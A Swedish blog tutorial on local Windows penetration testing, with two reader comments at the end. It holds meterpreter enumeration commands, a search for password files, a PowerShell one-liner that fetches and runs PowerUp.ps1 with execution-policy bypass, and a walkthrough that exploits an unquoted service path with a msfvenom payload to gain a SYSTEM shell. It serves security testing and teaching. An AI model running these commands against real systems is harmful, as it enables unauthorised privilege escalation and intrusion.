Penetrationstest av Windows
Denna artikel går igenom hur du kan testa säkerheten lokalt på en Windows-klient eller server. Jag kommer i en annan artikel gå igenom hur du testar säkerheten i Windows över nätverket.
Det är alltid bäst att börja med en lokal kartläggning för att kontrollera vilka användare som finns, anslutningar, vad är syftet med servern eller klienten?
Sedan så är det av stor vikt att kontrollera vilka mjukvaror som är installerade och hur de används. Är Windows uppdaterat med senaste säkerhetsuppdateringarna?
Metasploit har en hel del funktioner för detta inbyggt såsom dessa:
meterpreter > run post/windows/gather/enum_applications
meterpreter > getuid
meterpreter > run winenum
meterpreter > run post/windows/gather/enum_logged_on_users
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > ps -s
meterpreter > getprivs
Och följande Python-script kan köras om du inte har ett shell via Metasploit och meterpreter:
Ovan exploit-suggester kan köras direkt på klienten om Python finnes installerat annars kan output från kommandot systeminfo skickas in på ett annat system. Jag själv brukar kompilera upp dessa i PyInstaller och köra –standalone under Wine och Kali Linux.
Även så kan listning av drivrutiner avslöja eventuella brister:
C:\>driverquery /v
Ett annat bra tips är att kontrollera vilka mjukvaror och dess versioner som är installerade och sedan installera upp ett snarlikt system med just dessa.
För det är sedan lättare att identifiera eventuella brister på detta egna system.
Filer som innehåller eventuella lösenord eller behörigheter kan också vara bra att söka efter på systemet. och där kan dir /S vara till hjälp, exempelvis:
C:\>dir /S *password*
Övriga saker att kolla efter:
- Krypterat cpassword-värde i XML-filer som ligger på SYSVOL-volymen
- Om AlwaysInstallElevated används
- Autostart-objekt som inte finns. Kolla med autorunsc.exe och sök efter ”File not found”
- Tjänster som inte använder citat-tecken runt sökvägar:
- wmic service get name,displayname,pathname,startmode |findstr /i ”auto” |findstr /i /v ”c:\windows\\” |findstr /i /v ”””
Sist men inte minst kan jag rekommendera verktyget PowerUp som gör ett antal kontroller helt automatiskt, kolla gärna även in PowerSploit på Github.
Kan köras direkt från nätet via Powershell på följande sätt:
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString(’https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerUp/PowerUp.ps1’); Invoke-AllChecks
Samt innan varje kontroll som PowerUp gör så står det hur du kan utnyttja en eventuell svaghet.
Eller så kan man göra det manuellt, i mitt fall så kör jag ntpd.exe som inte har en sökväg utan citat-tecken. Så här:
[+] Unquoted service path: NTP - C:\Program Files\NTP\bin\ntpd.exe -U 3 -M -g - c "C:\Program Files\NTP\etc\ntp.conf"
Det gör att om jag kan skriva till C:\Program.exe så kommer det att exekveras när tjänsten startas upp. Vilket blir ännu mer tydligt om vi tittar direkt på tjänsten:
C:\>sc qc NTP sc qc NTP [SC] QueryServiceConfig SUCCESS SERVICE_NAME: NTP TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\NTP\bin\ntpd.exe -U 3 -M -g -c "C:\Program Files\NTP\etc\ntp.conf" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Network Time Protocol Daemon DEPENDENCIES : Tcpip SERVICE_START_NAME : LocalSystem
Och i mitt fall så skapar jag en ny payload med msfvenom placerar den som C:\>Program.exe och kör sedan net stop ntp samt net start ntp och vips får jag ett nytt shell samt:
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >
Det var väl enkelt? Nu hade vi tur med skrivrättigheterna till C:/> samt problemet med citat-tecken i sökvägen.
Orkar du inte göra det manuellt så finns det även en funktion i metasploit som gör det automatiserat:
meterpreter > use exploit/windows/local/trusted_service_path
Du kan inte på allvar mena att detta skulle beskriva hur man utför ett pentest? Säkerhetsanalyser är något som tar många år att lära sig utföra, och att tro att några metasploitmoduler skulle göra jobbet är skrattretande dumt.
Hej Tobias! Givetvis blir du inte certifierad eller liknande efter att ha läst detta blogginlägg. Vad använder du själv för verktyg för att eskalera dina rättigheter lokalt på Windows när du poppat ett skal?